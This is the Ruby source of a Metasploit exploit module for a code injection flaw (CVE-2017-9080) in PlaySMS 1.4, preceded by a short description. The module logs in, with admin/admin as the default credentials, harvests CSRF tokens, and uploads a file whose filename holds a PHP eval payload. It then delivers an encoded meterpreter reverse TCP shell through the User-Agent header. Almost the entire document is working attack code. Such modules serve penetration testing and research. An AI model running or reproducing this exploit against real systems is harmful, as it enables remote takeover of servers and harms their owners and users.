This Metasploit module exploits a code injection vulnerability within an authenticated file upload feature in PlaySMS version 1.4. This issue is caused by improper file name handling in sendfromfile.php file. Authenticated Users can upload a file and rename the file with a malicious payload. This Metasploit module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.
2580a04744c23352ceb458505fd66e3d##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution',
'Description' => %q{
This module exploits a code injection vulnerability within an authenticated file
upload feature in PlaySMS v1.4. This issue is caused by improper file name handling
in sendfromfile.php file.
Authenticated Users can upload a file and rename the file with a malicious payload.
This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine and Windows 7.
},
'Author' =>
[
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Discoverys and Metasploit Module
'DarkS3curity' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB','42003'],
['CVE','2017-9080'],
['URL','https://www.youtube.com/watch?v=MuYoImvfpew'],
['URL','http://touhidshaikh.com/blog/?p=336']
],
'DefaultOptions' =>
{
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'ENCODER' => 'php/base64',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'PlaySMS 1.4', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 21 2017'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base playsms directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'admin'])
])
end
def uri
return target_uri.path
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php')
})
rescue
vprint_error('Unable to access the index.php file')
return CheckCode::Unknown
end
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
return Exploit::CheckCode::Appears
end
CheckCode::Safe
end
def login
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'vars_get' => {
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
}
})
# Grabbing CSRF token from body
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for login : #{csrf}")
cookies = res.get_cookies
vprint_status('Trying to Login ......')
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'core_auth',
'route' => 'login',
'op' => 'login',
}.to_a.shuffle],
'vars_post' => Hash[{
'X-CSRF-Token' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_a.shuffle],
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# if we redirect to core_welcome dan we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome')
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
return cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end
def exploit
cookies = login
# Agian CSRF token.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'GET',
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_sendfromfile',
'op' => 'list',
}.to_a.shuffle]
})
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
# Grabbing CSRF token from body.
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("X-CSRF-Token for upload : #{csrf}")
# Payload.
evilname = "<?php $t=$_SERVER['HTTP_USER_AGENT']; eval($t); ?>"
# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="X-CSRF-Token"') # CSRF token
post_data.add_part("#{rand_text_alpha(8 + rand(5))}", content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = "form-data; name=\"fncsv\"; filename=\"#{evilname}\"") # payload
post_data.add_part("1", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="fncsv_dup"') # extra
data = post_data.to_s
vprint_status('Trying to upload file with malicious Filename Field....')
# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'agent' => payload.encode,
'cookie' => cookies,
'vars_get' => Hash[{
'app' => 'main',
'inc' => 'feature_sendfromfile',
'op' => 'upload_confirm',
}.to_a.shuffle],
'headers' => {
'Upgrade-Insecure-Requests' => '1',
},
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
end
end